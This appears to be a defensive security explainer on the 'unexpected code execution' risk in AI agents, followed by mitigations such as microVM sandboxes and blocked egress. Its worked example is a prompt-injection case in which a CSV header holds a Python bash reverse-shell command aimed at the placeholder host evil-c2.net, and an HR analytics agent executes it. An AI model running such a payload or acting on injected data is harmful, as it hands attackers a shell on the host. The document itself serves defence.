ASI05: Unexpected Code Execution
The security risks of allowing AI agents to generate, compile, and execute code (Python, JS, Shell) in unisolated host environments, leading to host compromise.
When the Model Writes Its Own Exploits
One of the most powerful paradigms of agentic AI is "code execution"—giving the model access to a Python interpreter or a Bash shell to write scripts, solve math problems, or parse data. However, if this execution happens directly on the host system or inside an unisolated container, it is equivalent to granting an attacker an open SSH terminal.
Unexpected Code Execution happens when an agent, manipulated via direct or indirect prompt injection, generates malicious code and then runs it using its execution tools. Because models excel at writing script files, they can construct tailored exploits, parse local networks, harvest internal metadata, and establish persistent backdoors.
Click the card to reveal the explanation
Processing CSV Data with Python
An HR analytics agent accepts user-uploaded spreadsheet files. To calculate complex metrics, the agent uses a Python tool to dynamically compile and execute pandas scripts.
An attacker uploads a CSV file containing a malicious column header: "import os; os.system('bash -i >& /dev/tcp/evil-c2.net/4444 0>&1')". The agent reads the header, writes a Python script to parse it, and passes it to the local execution engine.
When the tool calls the Python interpreter, the injected command is executed. A reverse shell connection is established back to the attacker, giving them terminal access to the docker container running the web application.
- Untrusted data from the CSV was directly executed by the interpreter
- The container did not use a read-only root filesystem, allowing local changes
- Egress network routing permitted connections to arbitrary C2 servers
- Mitigated by isolating code execution to strict, network-less microVMs
Unexpected Execution Vectors
Dynamic Code Compilation
Allowing the agent to write and execute scripts (like `.py` or `.js` files) on the host file system. Attackers inject commands that import system libraries (`os`, `subprocess`) to execute terminal shells.
Bash / Shell Tool Access
Giving the agent access to shell utilities. A model can easily be tricked into running system updates, modifying system configurations, or executing remote file downloads via `wget` or `curl` commands.
Arbitrary Dependency Installation
The agent dynamically runs commands like `pip install` or `npm install` inside the sandbox, pulling down malicious packages or dependencies containing trojans.
Securing Agentic Code Interpreters
1 / 4📦 Enforce Isolated MicroVM Sandboxing
Never run interpreter tools inside the main application container. Execute all dynamically generated scripts in ephemeral, short-lived microVMs (like Firecracker) or WebAssembly runtimes.
🚫 Disable Host Network Access
Ensure the code interpreter sandbox has no access to the external internet or local private networks. This prevents the code from initiating reverse shells or exfiltrating data.
📂 Configure Read-Only Root Filesystem
Mount the sandbox's core filesystem as read-only. Allow scripts to write only to a designated `/tmp` scratchpad directory that is destroyed immediately after execution.
⏱️ Apply Rigid CPU & Memory Quotas
Limit the execution resources of the interpreter. Set hard memory bounds and strict CPU timeouts (e.g., max 2 seconds execution) to block denial-of-service loops.
Code Execution Rules
- Ephemeral Containers. Spin up a fresh sandbox for every code execution request, and destroy the environment immediately after returning the output. Do not maintain state between runs.
- Static Pre-parsing. Use AST (Abstract Syntax Tree) parsers to check generated code for forbidden system calls (`fork`, `exec`, `socket`, `eval`) before sending it to the interpreter.
- Block Root Execution. Never run code execution agents as the `root` user inside the sandbox. Enforce low-privilege runner accounts.